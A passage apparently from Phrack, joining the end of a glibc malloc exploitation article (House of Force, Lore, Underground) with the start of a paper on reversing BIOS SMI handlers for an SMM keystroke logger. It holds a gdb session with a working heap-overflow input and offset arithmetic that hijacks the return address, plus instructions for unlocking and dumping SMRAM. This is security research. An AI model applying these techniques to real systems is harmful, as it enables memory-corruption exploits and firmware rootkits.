```

[-----]

Phantasmal said that the first thing to do was to overwrite the Wilderness chunk so that its "size" field was as high as possible, as well as "0xffffffff". Since our first chunk is 256 bytes long, and it is vulnerable to overflow, 264 characters "\xff" achieve the objective.

This ensures that any request of memory enough large, is treated with the code "_int_malloc()", instead of expand the heap.

The second goal, is to alter "av->top" so it points to a memory area under designer control. We (it's view in next section) will work with the stack, particularly with the EIP target. In fact, the address that should be placed in "av->top" is EIP - 8, because we are dealing with the chunk address, and the return data area is 8 bytes later, there where we will write our data.

But... How hack "av->top"?

```
   victim = av->top;
   remainder = chunk_at_offset(victim, nb);
   av->top = remainder;
```

"victim" get address of the current Wilderness chunk, that in a normal case we could see so as:

```
   PTR1 = [ 0x80c2688 ]

   0x80bf550 <main_arena+48>:   0x080c2788
```

As we can see, "remainder" is exactly the sum of this address plus the number of bytes requested by "malloc ()". This amount must be controlled by the designer as mentioned above.

Then, if EIP is "0xbffff22c", the address that we want placed at remainder (which will goes direct to "av->top") is actually this: "0xbfffff24". And now we know where this "av->top". Our number of bytes to request are:

```
    0xbffff224 - 0x080c2788 = 3086207644
```

I exploited the program with "3086207636", which again, is due to the difference between the position of the chunk and data area of Wilderness.

Since that time, "av->top" contain our altered value, and any request that triggers this piece of code, get this address as its data zone. Everything that is written will destroy the stack.

GLIBC 2.7 do the next:

```
       ....
       void *p = chunk2mem(victim);
       if (__builtin_expect (perturb_byte, 0))
         alloc_perturb (p, bytes);
       return p;
```

Let's to go:

```
[-----]

blackngel@linux:~$ gdb -q ./hof
(gdb) disass fvuln
Dump of assembler code for function fvuln:
0x080481f0 <fvuln+0>:   push   %ebp
0x080481f1 <fvuln+1>:   mov    %esp,%ebp
0x080481f3 <fvuln+3>:   sub    $0x28,%esp
0x080481f6 <fvuln+6>:   movl   $0x100,(%esp)
0x080481fd <fvuln+13>:  call   0x804d3b0 <malloc>
..........
..........
0x08048225 <fvuln+53>:  call   0x804e710 <strcpy>
..........
..........
0x08048243 <fvuln+83>:  call   0x804d3b0 <malloc>
0x08048248 <fvuln+88>:  mov    %eax,-0x8(%ebp)
0x0804824b <fvuln+91>:  movl   $0x100,(%esp)
0x08048252 <fvuln+98>:  call   0x804d3b0 <malloc>
..........
```

```
..........
0x08048270 <fvuln+128>: call   0x804e7f0 <strncpy>
0x08048275 <fvuln+133>: leave
0x08048276 <fvuln+134>: ret
End of assembler dump.

(gdb) break *fvuln+83      /* Before malloc(len) */
Breakpoint 1 at 0x8048243

(gdb) break *fvuln+88      /* After malloc(len) */
Breakpoint 2 at 0x8048248

(gdb) run 3086207636 `perl -e 'print "\xff"x264'`
.....
PTR1 = [ 0x80c2688 ]

Breakpoint 1, 0x08048243 in fvuln ()
(gdb) x/16x &main_arena
..........
..........
0x80bf550 <main_arena+48>:  0x080c2788  0x00000000  0x080bf550  0x080bf550
                                 |
(gdb) c                       av->top
Continuing.

Breakpoint 2, 0x08048248 in fvuln ()
(gdb) x/16x &main_arena
..........
..........
0x80bf550 <main_arena+48>:  0xbffff220  0x00000000  0x080bf550  0x080bf550
                                 |
                          point to stack
(gdb) x/4x $ebp-8
0xbffff220:   0x00000000   0x480c3561   0xbffff258   0x080482cd
                                |
(gdb) c                     important
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()    /* Our application smash the stack itself */
(gdb)

[-----]
```

Yeah! So it was possible!!!

I pointed out one value as "important" in the stack, and it is one of the last condition for a successful implementation of this technique. It requires that the "size" field of the new Wilderness chunk, been at least greater than the request made by the last call to "malloc()".

NOTE: As you have seen in the introduction of this article, g463 wrote a paper about how to take advantage of the set_head() macro in order to overwrite an arbitrary memory address. This would be strongly recommendable that you read this work. He also presented a briew research about The House of Force...

Due to a serious error of mine, I did not read this article until a Phrack member warned me of its existence after I had edited my article. I can't avoid feeling amazed at the level of skills these people are reaching. The work of g463 is really smart.

In conclusion to this technique, I asked what would happen if, instead of what we have seen, the vulnerable code would looks like:

```
   .....
   char buffer[64];
   ptr2 = malloc(len);
   ptr3 = calloc(256);

   strncpy(buffer, argv[1], 63);
   .....
```

At first, it is quite similar, only the last chunk of memory allocated is done through the function "calloc()" and in this case do not control their content, but we control a buffer declared at the beginning of the vulnerable function.

Faced with this obstacle, I had an idea in mind. If it remains possible return an arbitrary piece of memory and since calloc() will fill it with "0's", perhaps it could be placed so that the last NULL byte "0" may overwrite the last byte of a saved EBP, so this is passed finally to ESP, and may control the return address from within our buffer[].

But soon I warned that the alignment of malloc() algorithm when this is called, thwarts this possibility. We could overwrite EBP completely with "0's", which is useless for our purposes. And besides, always there to take care not to crush our buffer[] with zeros if the reserve of memory occurs after the content has been established by the user.

And it is all... As always, this technique also remains being applicable with the latest versions of glibc (2.8.90).

We have arrived, pushed by the power of force, to The House of Force.

> << La gente comienza a plantearse
> si todo lo que se puede hacer
> se debe hacer. >>
>
> [D. Ruiz Larrea]

```
                ---------------
---[ 4.4.1 ---[   MISTAKES    ]---
                ---------------
```

In fact, what we have done in the previous section, the fact of using the stack was the only viable solution that I found, after realize some errors that Phantasmal had not expected.

The point is that the description of his technique, he raised the possibility of overwrite targets as .dtors or Global Offset Table.
But I soon realized that this did not seem possible.

Given that "av->top" was: [0x080c2788]. In a short analysis like this...

```
     blackngel@linux:~$ objdump -s -j .dtors ./hof
     .....
     Contents of section .dtors:
     80be47c ffffffff 20480908 00000000
     .....
     Contents of section .got:
     80be4b8 00000000 00000000
```

... we can see that both addresses are behind the address of "av->top", and an amount not lead us to these addresses. Function pointers, the BSS region, and also other things are behind...

If you want to play with negative numbers or integer overflows, I allow that you to make all neccesary tests.

It is by this that the Malloc Maleficarum did not mention that the designer controlled value to allocate memory, should be an "unsigned" or, otherwise, any value greater than 2147483647 will change its sign directly to become a negative value, which ends at most cases with a segmentation fault.

He doesn’t think this because he think that he could overwrite memory positions that were at highest addresses that the Wilderness chunk, bu not as far as "0xbffffxxx".

Imposible is nothing in this world, and I know that you can feel The House of Force.

> << La utopia esta en el horizonte. Me
> acerco dos pasos, ella se aleja dos
> pasos. Camino diez pasos y el horizonte
> se corre diez pasos mas alla. Por
> mucho que yo camine, nunca la alcanzare.
> Para que sirve la utopia? Para eso
> sirve, para caminar. >>
>
> [E. Galeano]

---[4.5 ---[THE HOUSE OF LORE]---

This technique will be detailed here in a theoretical way to express what Phantasmal supposedly wanted to say in his Malloc Maleficarum paper.

The House of Lore requires triggering numerous calls to "malloc()" what seems not to be a designer controlled value and turns into something unreal.

But I again repeat the same thing I said at the end of the technique The House of Mind (CVS vulnerability). And the same showed case is perfect for the conditions that should meet in The House of Lore. We need multiple calls to malloc( ) controlling their sizes.

To give a simple explanation, we will approach to the topic through schemes.

When a chunk is stored in your appropriated "bin", it is inserted as the first:

1) Calculating the index for the chunk’s size:

```
victim_index = smallbin_index(size);
```

2) Get the proper bin:

```
bck = bin_at(av, victim_index);
```

3) Get the first chunk:

```
fwd = bck->fd;
```

4) Pointer "bk" of chunk points to the bin:

```
victim->bk = bck;
```

5) Pointer "fd" of chunk points to the previous
   first chunk at bin:

```
victim->fd = fwd;
```

6) Pointer "bk" of the next chunk points to our inserted chunk:

```
fwd->bk = victim;
```

7) Pointer "fd" of the "bin" points to our chunk:

```
bck->fd = victim;
```

```
                   bin->bk  ___  bin->fwd
                  o--------[bin]----------o
                  !         ^ ^           !
               [last]-------| |-------[victim]
                 ^|   l->fwd    v->bk    ^|
                 |!                      |!
               [....]                  [....]
                   \\                  //
                    [....]        [....]
                     ^ |____________^ |
                     |________________|
```

Into "unlink code", if "victim" is taken from "bin->bk, it may be necessary to repeat numerous calls to malloc() until the "victim" reach the "last" position.

Let’s see the code to discover a few things:

```
      .....
      if ( (victim = last(bin)) != bin) {
        if (victim == 0) /* initialization check */
          malloc_consolidate(av);
        else {
          bck = victim->bk;
          set_inuse_bit_at_offset(victim, nb);
          bin->bk = bck;
          bck->fd = bin;
          ...
          return chunk2mem(victim);
      .....
```

In this technique, Phantasmal said that the ultimate goal was to overwrite "bin->bk," but the first element that we can control is "victim->bk". As far as I can understand, we must ensure that the overflowed chunk passed to "free ()" is in the previous position to "last", so that "victim->bk" point to its address, that we must control and should point to the stack.

This address is passed to "bck" and then will change "bin->bk". Due to this, we now control the "last" chunk with a designer controlled address.

That is why we need a new call to "malloc()" with same size as the previous call, so that this value is the new "victim" and is returned in:

```
return chunk2mem (victim);
```

[-----]

```
*ptr1 -> modified;
```

First call to "malloc()":

```
         ___[chunk]_____[chunk]_____[chunk]____
        |                                      |
        !    bk                 bk             |
      [bin]----->[last=victim]----->[ ptr1 ]---/
        ^____________| ^_______________|
             fwd      ^       fwd
                      |
        return chunk2men(victim);



     Second call to "malloc()":
     --------------------------

         ___[chunk]_____[chunk]_____[chunk]____
        |                                      |
        !    bk              bk                |
      [bin]----->[ ptr1 ]--------->[ chunk ]---/
        ^___________| ^________________|
             fwd     ^       fwd
                     |
        return chunk2men(ptr1);
```

[-----]

One must be careful with that also overwrites "bck->fd" in turn, in the stack it is not a big problem.

It is for this reason that if your interest is really enough, my tip is that you don't pay much attention to The House of Prime, as indicated Phantasmal in his paper, instead, consider again the House of Spirit.

In theory, using a similar technique, a false chunk should can been sited in its corresponding "bin" and trigger a further call to "malloc()" that could returns the same memory space.

Remember that the size of allocated chunk must be greater than "av->max_fast" (72), and less than 512 to execute "small bin" code instead of fastbin code:

```
   #define NSMALLBINS        64
   #define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
   #define MIN_LARGE_SIZE    (NSMALLBINS * SMALLBIN_WIDTH)

   [64] * [8] = [512]
```

For "largebin" method will have to use larger chunks than this estimated size.

Like all houses, it's only a way of playing, and The House of Lore, although not very suitable for a credible case, no one can say that is a complete exception...

```
                   << La humanidad necesita con urgencia
                      una nueva sabiduria que proporcione
                      el conocimiento de como usar el
                      conocimiento para la supervivencia
                      del hombre y para la mejora de la
                      calidad de vida. >>

                                         [ V. R. Potter ]
```

```
---[ 4.6 ---[   THE HOUSE OF UNDERGROUND   ]---
             ------------------------------
```

Well, this house really was not described in Phantasmal Phantasmagoria's paper, but it is quite useful to describe a concept that I have in mind.

In this world are all possibilities. Chances that something goes well, or chances of something going wrong. In the world of the vulnerabilities exploitation, this remains true. The problem is to get the neccesary skills to find these possibilities, usually the possibility of that something goes well.

Speaking at this time to unite several of the prior techniques in a same attack should not be so strange, and sometimes could be the most appropriate solution. Recall that g463 is not satisfied with the technique The House of Force to work on the vulnerability of the file (1) utility, but he was looking for new possibilities so that things come out well.

For example ... what about using in a same instant the The House of Mind and The House of Spirit methods?

Consider that both have their own limitations. On the one hand, The House Mind need as has been said a piece of memory in an above address that "0x08100000", while The House of Spirit, states that once the pointer to be free()ed has been overwritten, a new call to malloc() will be done.

In The House of Mind, the main goal is to control the "arena" structure and this change starts with the modification of the third bit less significant of the size field of the overwritten chunk (P). But the fact we can modify this metadata, does not mean that we have control of the address of this chunk.

In contrast, in The House of Spirit, we alter the address of P, through the manipulation of the pointer to the data area (*mem). But what happens if in your vulnerable application does not exist a new call to malloc() that will return an arbitrary piece of memory on the stack?

You may still investigate new avenues, but I would not be assured that running.

If we can change the pointer to be freed, like in The House of Spirit, this will be passed to free() in:

```
   public_fREe(Void_t* mem)
```

We can make it point to some place like the stack or the environment. It should always be a memory location with data controlled by the user. Then the effective address of the chunk would taken at:

```
   p = mem2chunk(mem);
```

At this point we leave The House of The Spirit to focus on The House of Mind. Then again we must control the arena "ar_ptr" and, to achieve this, (&p + 4) should contain a size with the NON_MAIN_ARENA bit enabled.

But that is not the most important thing here, the final question is: could you put the chunk in a place so that you can then control the area returned by "heap_for_ptr(ptr)->ar_ptr"?

Remember that in the stack that would be something like "0xbff00000". It seems quite difficult reach an address like this even introducing a padding into environment.

But again, all ways should be studied, you could find a new method, and perhaps you call it The House of Underground...

> << Los apasionados de Internet han encontrado
> en esta opcion una impensada oportunidad
> de volver a ilusionarse con el futuro. No
> solo algunos disfrutan como enanos; creen
> que este instrumento agiganta y que, acabada
> la fragmentacion entre unos y otros, se ha
> ingresado en la era de la conexion global.
> Internet no tiene centro, es una red de
> dibujo democratico y popular. >>
>
> [V. Verdu: El enredo de la red]

---[5 ---[ASLR and Nonexec Heap (The Future)]---

We have not discussed in this article about how to circumvent protections like memory address randomization (ASLR) and a non executable Heap . And we will not do, but something we can say about it. You should be aware that in all my basic exploits, I have hardcoded the majority of the addresses.

This way of working is not very reliable in the days we live in...

In all techniques presented in this paper, especially int The House of Spirit or The House of Force, where all comes down to a stack overflow, we guess that it would be applicable the methods described in other papers released in Phrack magazine or extern publications that explained how to bypass ASLR protection and others about how to return into mprotect ( ) to bypass a non exectuable heap and things like that.

Regarding to the first topic, we have a magic work, "Bypassing PaX ASLR protection" [11] by Tyler Durden in Phrack 59.

On the other hand, circumvent a non executable heap whether if ASLR is present and our skills to find the real address of a function like mprotect( ) to allow us to change the permissions of the pages of memory.

Since I started my little research and work to write this article, my goal has always been to leave this task as the homework for new hackers who have the strength to continue in this way.

Finally, this is a new area for further research.

> << Todo tiene algo de belleza pero
> no todos son capaces de verlo. >>
>
> [Confucio]

---[6 ---[THE HOUSE OF PHRACK]---

This is just a way so you can continue researching. There is a world full of possibilities, and most of them still aren't discovered. Do you want be the next?

This is your house!

To finish, because Phrack admits "spirit oriented" articles, I will venture to drop a simple comment.

Anyone interested in Linux development had read ever interesting articles as "The Cathedral and the Bazar" and "Homesteading the Noosphere" of the arch-known founder of the Open Source movement, Eric S. Raymond. For this is not so, maybe they had read "Jargon File" or perhaps for others, the "Hacker How-To". It is the latter that we are interested, especially when Raymond mentions the following:

* Don't use a silly, grandiose user ID or screen name.

<< The problem with screen names or handles deserves some amplification. Concealing your identity behind a handle is a juvenile and silly behavior characteristic of crackers, warez d00dz, and other lower life forms. Hackers don't do this; they're proud of what they do and want it associated with their real names. So if you have a handle, drop it. In the hacker culture it will only mark you as a loser. >>

As far as I understand, this means that all those who had written in Phrack are childhood, crackers, lower life forms and are marked in the hacker culture as losers.

Is there some connection between our name and our skills, philosophy of life or our ethics in hacking?

Me, in my sole opinion, if this is true, I am proud that Phrack admit into their lines to lower life forms. Lower life forms that have helped to raise the security level of the network of networks in ways unimaginable.

To all of them, thanks!!!

blackngel

"Adormecida, ella yace
con los ojos abiertos
como la ascensin del Angel hacia arriba
Sus bellos ojos de disuelto azul
que responden ahora: "lo hare, lo hago!
la pregunta realizada hace tanto tiempo.

Aunque ella debe gritar
no lo parece
lo que pronuncia es mas que un grito
Yo se que el Angel debe llegar
para besarme suavemente, como mi estimulo
la aguja profunda penetra en sus ojos."

* Versos 4 y 5 de "El beso del Angel Negro"

```
           ----------------
---[ 7 ---[   REFERENCES   ]---
           ----------------
```

[1] Vudo - An object superstitiously believed to embody magical powers
http://www.phrack.org/issues.html?issue=57&id=8#article

[2] Once upon a free()
http://www.phrack.org/issues.html?issue=57&id=9#article

[3] Advanced Doug Lea's malloc exploits
http://www.phrack.org/issues.html?issue=61&id=6#article

```
[4] Malloc Maleficarum
    http://seclists.org/bugtraq/2005/Oct/0118.html

[5] Exploiting the Wilderness
    http://seclists.org/vuln-dev/2004/Feb/0025.html

[6] The House of Mind
    http://www.awarenetwork.org/etc/alpha/?x=4

[7] The use of set_head to defeat the wilderness
    http://www.phrack.org/issues.html?issue=64&id=9#article

[8] GLIBC 2.3.6
    http://ftp.gnu.org/gnu/glibc/glibc-2.3.6.tar.bz2

[9] PTMALLOC of Wolfram Gloger
    http://www.malloc.de/en/

[10] The art of Exploitation: Come back on an exploit
     http://www.phrack.org/issues.html?issue=64&id=15#article

[11] Bypassing PaX ASLR protection
     http://www.phrack.org/issues.html?issue=59&id=9#article
```

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0B of 0x11

```
|=-----------------------------------------------------------------------=|
|=---=[ A Real SMM Rootkit: Reversing and Hooking BIOS SMI Handlers ]=---=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Filip Wecherowski ]=------------------------=|
|=--------------=[ core collapse <core_collapse@hush.com> ]=-------------=|
|=-----------------------------------------------------------------------=|
```

--[ABSTRACT

The research provided in this paper describes in details how to reverse engineer and modify System Management Interrupt (SMI) handlers in the BIOS system firmware and how to implement and detect SMM keystroke logger. This work also presents proof of concept code of SMM keystroke logger that uses I/O Trap based keystroke interception and a code for detection of such keystroke logger.

--[INDEX

--[1 - INTRODUCTION

This work gives an overview of how code works in Systems Management Mode and how it can be Hi Jack!ed to inject malicious SMI code. As an example, we show how to hijack SMI code and inject SMM keystroke logger payload.

SMM malware as well as security of SMI code in (U)EFI firmware was discussed in [efi_hack]. SMM keylogger was first introduced by Sherri Sparks and Shawn Embleton at Black Hat USA 2008 [smm_rkt] but very little details were provided by the authors regarding how SMI code works, how one could hook it and more importantly how would anyone detect such malware.

We use a different technique to enable keystroke logging in SMM than was used by [smm_rkt]. We utilize I/O Trap mechanism provided by modern chipsets instead of I/O APIC.

We strongly believe that to effectively combat SMM malware in the future we need to learn internals of SMM firmware which is a primary motivation for writing this article. Until then SMM security will be in a state of hysteria. In the paper we also describe some methods to detect the presence of SMI keystroke logger.

We do not disclose any vulnerability that would allow injecting malicious payload into SMM. The first known SMM exploit was disclosed in [smm], another exploit was disclosed in [xen_0wn] (*). Both of them exploited insecure hardware configuration programmed by the BIOS system firmware that also contains SMI handlers. Thus far, very little research is available in the internals of SMI handlers. We believe this is due to complexity of their debugging and reverse engineering. This work is designed to close this gap regardless of specific vulnerabilities that may be used to inject malicious code into SMM.

It should be noted that this work only explores SMI code in the BIOS of ASUS motherboards, specifically in ASUS P5Q based on Intel P45 hardware. ASUS implements BIOS based on AMIBIOS 8 therefore most of the results of this work apply to other motherboard manufacturers that use BIOS firmware based on AMI BIOS. Many results are also applicable to motherboards that use other BIOS cores because of similarities in implementation of SMI handlers in different BIOS firmware. SMM is a x86 feature common for all motherboards which also leads to a similar SMI firmware design across different BIOS firmware implementations.

(*) While writing this article authors learned about another vulnerability discovered in CPU SMRAM caching design [smm_cache].

--[2 - REVERSE ENGINEERING SYSTEM MANAGEMENT INTERRUPT (SMI) HANDLERS

--[2.1 - Brief Overview of BIOS Firmware

The first instruction fetched by CPU after reset is located at 0xFFFFFFF0 address and is mapped to BIOS firmware ROM. This instruction is referred to as "reset vector". Reset vector is typically a jump to the first bootstrap code, BIOS boot block. Boot block code and reset vector are physically residing in BIOS ROM. Access to BIOS ROM is slow compared to DRAM and BIOS firmware cannot use writable memory such as stack when executing from ROM or flash.

For these reasons BIOS boot block code copies the rest of system BIOS code from ROM into DRAM. This process is known as "BIOS shadowing". Shadowed system BIOS code and data segments reside in lower DRAM regions below 1MB. Main system BIOS code is located in memory ranges 0xE0000 - 0xEFFFF or 0xF0000 - 0xFFFFF.

BIOS firmware includes not only boot-time code but also firmware that will be executing at run-time "in parallel" to the Operating System but in it’s own "orthogonal" SMRAM memory reserved from the OS. This run-time firmware consists of System Management Interrupt (SMI) handlers that execute in

System Management Mode (SMM) of a CPU.

--[2.2 - Overview of System Management Mode (SMM)

Processor switches to System Management Mode (SMM) from protected or real-address mode upon receiving System Management Interrupt (SMI) from various internal or external devices or generated by software. In response to SMI it executes special SMI handler located in System Management RAM (SMRAM) region reserved by the BIOS from Operating System for various SMI handlers. SMRAM is consisting of several regions contiguous in physical memory: compatibility segment (CSEG) fixed to addresses 0xA0000 - 0xBFFFF below 1MB or top segment (TSEG) that can reside anywhere in the physical memory.

If CPU accesses CSEG while not in SMM mode (regular protected mode code), memory controller forwards the access to video memory instead of DRAM. Similarly, non-SMM access to TSEG memory is not allowed by the hardware. Consequently, access to SMRAM regions is allowed only while processor is executing code in SMM mode. At boot time, system BIOS firmware initializes SMRAM, decompresses SMI handlers stored in BIOS ROM and copies them to SMRAM. BIOS firmware then should "lock" SMRAM to enable its protection guaranteed by chipset so that SMI handlers cannot be modified by the OS or any other code from this point on.

Upon receiving SMI CPU starts fetching SMI handler instructions from SMRAM in big real mode with predefined CPU state. Shortly after that, SMI code in modern systems initializes and loads Global Descriptor Table (GDT) and transitions CPU to protected mode without paging. SMI handlers can access 4GB of physical memory. Operating System execution is suspended for the entire time SMI handler is executing till it resumes to protected mode and restarts OS execution from the point it was interrupted by SMI.

Default treatment of SMI and SMM code by the processor that supports virtual machine extensions (for example, Intel VMX) is to leave virtual machine mode upon receiving SMI for the entire time SMI handler is executing [intel_man]. Nothing can cause CPU to exit to virtual machine root (host) mode when in SMM, meaning that Virtual Machine Monitor (VMM) does not control/virtualize SMI handlers.

Quite obviously that SMM represents an isolated and "privileged" environment and is a target for malware/rootkits. Once malicious code is injected into SMRAM, no OS kernel or VMM based anti-virus software can protect the system nor can they remove it from SMRAM.

It should be noted that the first study of SMM based rootkits was provided in the paper [smm] followed by [phrack_smm] and a proof of concept implementation of SMM based keylogger and network backdoor in [smm_rkt].

--[2.3 - Extracting binary of BIOS SMI Handlers

There seems to be a common misunderstanding that some "hardware analyzer" is required to disassemble SMI handlers. No, it is not. SMI handlers is a part of BIOS system firmware and can be disassembled similarly to any BIOS code. For detailed information on reversing Award and AMI BIOS, interested reader should read this excellent book and series of articles by Pinczakko [bios_disasm].

There are two easy ways to dump SMI handlers on a system:

1. Use any vulnerability to directly access SMRAM from protected mode and dump all contents of SMRAM region used by the BIOS (TSEG, High SMRAM or legacy SMRAM region at 0xA0000-0xBFFFF). For instance, if BIOS doesn’t

lock SMRAM by setting D_LCK bit then SMRAM can be dumped after modifying SMRAMC PCI configuration register as explained in [smm] and [phrack_smm].

If you are unfortunate and BIOS locks SMRAM and there are no other flaw to use then BIOS firmware can be modified such that it doesn't set D_LCK any more. After re-flashing modified BIOS ROM binary back and booting the system from this BIOS, SMRAM will not be locked and can be dumped from the OS. This, surely, works only if BIOS firmware isn't digitally signed. Oh, we forgot that almost no motherboards use digitally signed non-EFI BIOS firmware.

Here's a hint how to find where BIOS firmware sets D_LCK bit. BIOS firmware is most likely using legacy I/O access to PCI configuration registers using 0xCF8/0xCFC ports. To access SMRAMC register BIOS should first write value 0x8000009C to 0xCF8 address port and then a needed value (typically, 0x1A to lock SMRAM) to 0xCFC data port.

2. There's another, probably simpler, way to disassemble SMI handlers, that doesn't require access to SMRAM at run-time.

   2.1. Dump BIOS firmware binary from BIOS ROM using Flash programmer or simply download the latest BIOS binary from vendor's web site ;). For ASUS P5Q motherboard download P5Q-ASUS-PRO-1613.ROM file.

   2.2. Most of the BIOS firmware including Main BIOS module which contains SMI handlers is compressed. Use tools provided by vendor to extract/decompress the Main BIOS module. ASUS BIOS is based on AMI BIOS so we used AMIBIOS BIOS Module Manipulation Utility, MMTool.exe, to extract the Main BIOS module. Open downloaded .ROM file in MMTool, choose to extract "Single Link Arch BIOS" module (ID=1Bh), check "In uncompressed form" option and save it. This is uncompressed Main BIOS module containing SMI handlers.

   Check out a resource on modifying AMI BIOS on The Rebels Heaven forum [ami_mod].

   2.3. Once the Main BIOS module is extracted you can start disassembling it to find SMI handlers (for example, using HIEW or IDA Pro). In this paper we hope to provide a starting point for analyzing SMI handlers.

So let's jump to disassembling SMI handlers firmware.

--[2.4 - Disassembling SMI Handlers

We noticed that ASUS/AMI BIOS uses an array of structures describing supported SMI handlers. Each entry in the array starts with signature "$SMIxx" where last two characters 'xx' identify specific SMI handler.

Here is SMI dispatch table used by AMIBIOS 8 in ASUS P5Q SE motherboard based on Intel's P45 desktop chipset:

```
 00065CB0:  00 24 53 4D-49 43 41 00-00 70 B4 00-40 BF 07 00   $SMICA  p_ @.
 00065CC0:  40 20 6E C8-A8 4B 6E C8-A8 24 53 4D-49 53 53 00  @ n..Kn..$SMISS
 00065CD0:  00 B1 B4 00-40 B4 B4 00-40 91 85 C8-A8 B5 85 C8   +_ @__ @':...:.
 00065CE0:  A8 24 53 4D-49 50 41 00-00 A8 87 C8-A8 B9 87 C8  .$SMIPA  .+...+.
 00065CF0:  A8 B4 88 C8-A8 1C 89 C8-A8 24 53 4D-49 53 49 00  .__.. %..$SMISI
 00065D00:  00 B5 B4 00-40 C7 B4 00-40 63 9F C8-A8 7B 9F C8   ._ @._ @c_..{_.
 00065D10:  A8 24 53 4D-49 58 35 00-00 35 DE 00-40 38 DE 00  .$SMIX5  5. @8.
 00065D20:  40 BE 9F C8-A8 D2 9F C8-A8 24 53 4D-49 42 50 00  @__..._..$SMIBP
 00065D30:  00 E4 E0 00-40 F6 E0 00-40 5A A6 C8-A8 80 A6 C8   .. @.. @Z..._..
 00065D40:  A8 24 53 4D-49 53 53 00-00 01 E1 00-40 14 E1 00  .$SMISS   . @ .
 00065D50:  40 A0 A6 C8-A8 C6 A6 C8-A8 24 53 4D-49 45 44 00  @........$SMIED
 00065D60:  00 8D E3 00-40 90 E3 00-40 DF A7 C8-A8 F2 A7 C8   _. @_. @.......
 00065D70:  A8 24 53 4D-49 46 53 00-00 91 E3 00-40 94 E3 00  .$SMIFS  ’. @".
 00065D80:  40 41 A8 C8-A8 53 A8 C8-A8 24 53 4D-49 50 54 00  @A...S...$SMIPT
 00065D90:  00 29 E8 00-40 39 E8 00-40 21 AA C8-A8 33 AA C8   ). @9. @!...3..
 00065DA0:  A8 24 53 4D-49 42 53 00-00 55 E8 00-40 58 E8 00  .$SMIBS  U. @X.
 00065DB0:  40 D0 AA C8-A8 12 AB C8-A8 24 53 4D-49 56 44 00  @.... <..$SMIVD
 00065DC0:  00 A3 E8 00-40 A6 E8 00-40 CD AB C8-A8 DD AB C8   _. @.. @.<...<.
 00065DD0:  A8 24 53 4D-49 4F 53 00-00 A7 E8 00-40 AA E8 00  .$SMIOS  .. @..
 00065DE0:  40 CC AC C8-A8 E7 AC C8-A8 24 53 4D-49 42 4F 00  @........$SMIBO
 00065DF0:  00 AB E8 00-40 AE E8 00-40 F7 AC C8-A8 FB AC C8   <. @R. @.......
 00065E00:  A8 24 44 45-46 FF 00 01-00 AF E8 00-40 B2 E8 00  .$DEF.   .. @_.
 00065E10:  40 9C B3 C8-A8 A7 B3 C8-A8 53 53 44-54 13 06 00  @__..._..SSDT
```

Another example, SMI dispatch table on ASUS B50A laptop with Intel mobile GM45 express and ICH9M chipset looks similar but has more SMI handlers:

```
 0007BE90:  24 53 4D 49-54 44 00 00-92 6D EA 47-9B 6D EA 47  $SMITD  ’m.G>m.G
 0007BEA0:  10 6B 66 A8-11 6B 66 A8-24 53 4D 49-54 43 00 00   kf. kf.$SMITC
 0007BEB0:  30 7E 66 A8-39 7E 66 A8-3A 7E 66 A8-5F 7E 66 A8  0˜f.9˜f.:˜f._˜f.
 0007BEC0:  24 53 4D 49-43 41 00 00-B0 89 EA 47-E9 08 EA 47  $SMICA  .%.G. .G
 0007BED0:  70 81 66 A8-9B 81 66 A8-24 53 4D 49-53 53 00 00  p_f.>_f.$SMISS
 0007BEE0:  F1 89 EA 47-F4 89 EA 47-B8 95 66 A8-D1 95 66 A8  .%.G.%.G..f...f.
 0007BEF0:  24 53 4D 49-53 49 00 00-E4 18 32 5E-F6 18 32 5E  $SMISI  . 2^. 2^
 0007BF00:  96 97 66 A8-B4 97 66 A8-24 53 4D 49-58 35 00 00  --f._-f.$SMIX5
 0007BF10:  49 A5 EA 47-4C A5 EA 47-92 9B 66 A8-A6 9B 66 A8  I_.GL_.G’>f..>f.
 0007BF20:  24 53 4D 49-42 4E 00 00-96 A7 EA 47-A5 A7 EA 47  $SMIBN  -..G_..G
 0007BF30:  9F A1 66 A8-B7 A1 66 A8-24 53 4D 49-42 50 00 00  _.f...f.$SMIBP
 0007BF40:  A6 A7 EA 47-B1 A7 EA 47-79 A3 66 A8-9F A3 66 A8  ...G+..Gy_f.__f.
 0007BF50:  24 53 4D 49-45 44 00 00-49 AA EA 47-4C AA EA 47  $SMIED  I..GL..G
 0007BF60:  10 A4 66 A8-23 A4 66 A8-24 53 4D 49-46 53 00 00   .f.#.f.$SMIFS
 0007BF70:  4D AA EA 47-50 AA EA 47-72 A4 66 A8-84 A4 66 A8  M..GP..Gr.f.".f.
 0007BF80:  24 53 4D 49-50 54 00 00-E1 B7 EA 47-F1 B7 EA 47  $SMIPT  ...G...G
 0007BF90:  0C A6 66 A8-1E A6 66 A8-24 53 4D 49-42 53 00 00   .f. .f.$SMIBS
 0007BFA0:  F2 B7 EA 47-FE B7 EA 47-C0 A6 66 A8-4D A7 66 A8  ...G...G..f.M.f.
 0007BFB0:  24 53 4D 49-42 4F 00 00-FF B7 EA 47-02 B8 EA 47  $SMIBO  ...G ..G
 0007BFC0:  08 A8 66 A8-0C A8 66 A8-24 53 4D 49-43 4D 00 00   .f. .f.$SMICM
 0007BFD0:  5D AD 66 A8-60 AD 66 A8-EF AD 66 A8-F1 AD 66 A8  ]-f.`-f..-f..-f.
 0007BFE0:  24 53 4D 49-4C 55 00 00-91 AE 66 A8-94 AE 66 A8  $SMILU  ’Rf."Rf.
 0007BFF0:  A8 AE 66 A8-B5 AE 66 A8-24 53 4D 49-41 42 00 00  .Rf..Rf.$SMIAB
 0007C000:  4D B0 66 A8-50 B0 66 A8-54 B0 66 A8-67 B0 66 A8  M.f.P.f.T.f.g.f.
 0007C010:  24 53 4D 49-47 43 00 00-F0 BB 66 A8-F3 BB 66 A8  $SMIGC  .>f..>f.
 0007C020:  F4 BB 66 A8-0A BC 66 A8-24 53 4D 49-50 53 00 00  .>f. _f.$SMIPS
 0007C030:  2C BC 66 A8-32 BC 66 A8-33 BC 66 A8-41 BC 66 A8  ,_f.2_f.3_f.A_f.
 0007C040:  24 53 4D 49-50 53 00 00-74 BC 66 A8-7A BC 66 A8  $SMIPS  t_f.z_f.
 0007C050:  7B BC 66 A8-86 BC 66 A8-24 53 4D 49-47 44 00 00  {_f.+_f.$SMIGD
